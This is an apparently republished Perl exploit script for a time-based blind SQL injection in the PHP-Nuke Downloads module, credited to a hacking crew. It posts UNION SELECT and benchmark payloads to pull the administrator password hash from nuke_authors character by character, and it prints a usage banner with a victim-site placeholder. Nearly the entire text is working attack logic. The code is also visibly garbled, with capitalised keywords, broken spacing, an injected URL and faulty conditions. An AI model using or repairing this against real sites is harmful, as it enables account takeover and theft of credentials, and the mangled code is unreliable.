PHP-Nuke & lt; = 8.1.0.3.5b (Downloads) Remote blind injection defect and repair

 

#! /Usr/bin/perl

# [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection

 

# Author/s: Dante90, WaRWolFz Crew www.2cto.com

# Web Site: www.warwolfz.org

#----

# Why did I decide to publish this?

# Because some good friends (Dr.0rYX and Cr3w-DZ) have made my exp public by their names

# FU ** ing lamers/RIPPERS/SCRIPT KIDDIE

#----

 

Use strict;

Use warnings;

 

Use LWP: UserAgent;

Use HTTP: Cookies;

Use HTTP: Headers;

Use Time: HiRes;

 

My $ Victime = shift or & usage;

My $ Hash = "";

My ($ Referer, $ Time, $ Response );

My ($ Start, $ End );

My @ chars = (99,100,101,102 );

My $ HostName = "http://www.victime _ site.org/path/"; # Insert Victime Web Site Link

My $ Method = HTTP: Request-> new (POST => $ HostName. 'Les Les. php? Name = Downloads & d_op = add ');

My $ Cookies = new HTTP: Cookies;

My $ UserAgent = new LWP: UserAgent (

Agent => 'mozilla/123 ',

Max_redirect => 0,

Cookie_jar => $ Cookies,

Default_headers => HTTP: Headers-> new,

) Or die $ !;

My $ WaRWolFz = "http://www.warwolfz.org /";

My $ DefaultTime = request ($ WaRWolFz );

My $ Post;

 

Sub Blind_ SQL _Jnjection {

My ($ dec, $ hex, $ Victime) = @_;

Return "http://www.bkjia.com/'Union/**/select if (SUBSTRING (pwd, $ {dec}, 1) = CHAR ($ {hex}), benchmark (250000000, CHAR (0), 0) FROM nuke_authors WHERE aid = '$ {Victime }";

}

 

For (my $ I = 1; $ I <= 32; $ I ++) {# N Hash characters

For (my $ J = 0; $ J <= 15; $ J ++) {#0-> F

$ Post = Blind_ SQL _Jnjection ($ I, $ chars [$ J], $ Victime );

$ Time = request ($ Post );

Sleep (3 );

Refresh ($ HostName, $ DefaultTime, $ chars [$ J], $ Hash, $ Time, $ I );

If ($ Time> 4 ){

$ Time = request ($ Post );

Refresh ($ HostName, $ DefaultTime, $ chars [$ J], $ Hash, $ Time, $ I );

If ($ Time> 4 ){

Syswrite (STDOUT, chr ($ chars [$ J]);

$ Hash. = chr ($ chars [$ J]);

$ Time = request ($ Post );

Refresh ($ HostName, $ DefaultTime, $ chars [$ J], $ Hash, $ Time, $ I );

Last;

}

}

}

If ($ I = 1 & length $ Hash <1 &&! $ Hash ){

Print "* Exploit Failed * \ n ";

Print "-------------------------------------------------------- \ n ";

Exit;

}

If ($ I = 32 ){

Print "* Exploit Successfully Executed * \ n ";

Print "-------------------------------------------------------- \ n ";

System ("pause ");

}

}

 

Sub request {

$ Post = $ _ [0];

$ Start = Time: HiRes: time ();

My $ Response = $ UserAgent-> post ($ HostName. 'Les Les. php? Name = Downloads & d_op = add ',{

Title => "Dante90 ",

Url => $ Post,

Description => "WaRWolFz Crew ",

Auth_name => "Dante90 ",

Email => "dante90.dmc4 \ @ hotmail. it ",

Filesize => "1024 ",

Version => "1 ",

Homepage => "http://www.warwolfz.org /",

D_op => "Add"

},

Referer => $ HostName. 'Les Les. php? Name = Downloads & d_op = add ');

$ Response-> is_success () or die "$ HostName:", $ Response-> message, "\ n ";

$ End = Time: HiRes: time ();

$ Time = $ End-$ Start;

Return $ Time;

}

 

Sub usage {

System ("cls ");

{

Print "\ n [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection Exploit \ n ";

Print "-------------------------------------------------------- \ n ";

Print "* USAGE: * \ n ";

Print "* cd [Local Disk]: \ [Directory Of Exploit] \ * \ n ";

Print "* perl name_exploit.pl [victime] * \ n ";

Print "-------------------------------------------------------- \ n ";

Print "* Powered By Dante90, WaRWolFz Crew * \ n ";

Print "* www.warwolfz.org-dante90_founder [at] warwolfz.org * \ n ";

Print "------------------------------------------------------- \ n ";

};

Exit;

}

 

Sub refresh {

System ("cls ");

{

Print "\ n [0-Day] PHP-Nuke <= 8.1.0.3.5b (Downloads) Remote Blind SQL Injection Exploit \ n ";

Print "-------------------------------------------------------- \ n ";

Print "* USAGE: * \ n ";

Print "* cd [Local Disk]: \ [Directory Of Exploit] \ * \ n ";

Print "* perl name_exploit.pl [victime] * \ n ";

Print "-------------------------------------------------------- \ n ";

Print "* Powered By Dante90, WaRWolFz Crew * \ n ";

Print "* www.warwolfz.org-dante90_founder [at] warwolfz.org * \ n ";

Print "------------------------------------------------------- \ n ";

};

Print "* Victime Site:". $ _ [0]. "\ n ";

Print "* Default Time:". $ _ [1]. "seconds \ n ";

Print "* BruteForcing Hash:". chr ($ _ [2]). "\ n ";

Print "* BruteForcing N Char Hash:". $ _ [5]. "\ n ";

Print "* SQL Time:". $ _ [4]. "seconds \ n ";

Print "* Hash:". $ _ [3]. "\ n ";

}

 

# WaRWolFz Crew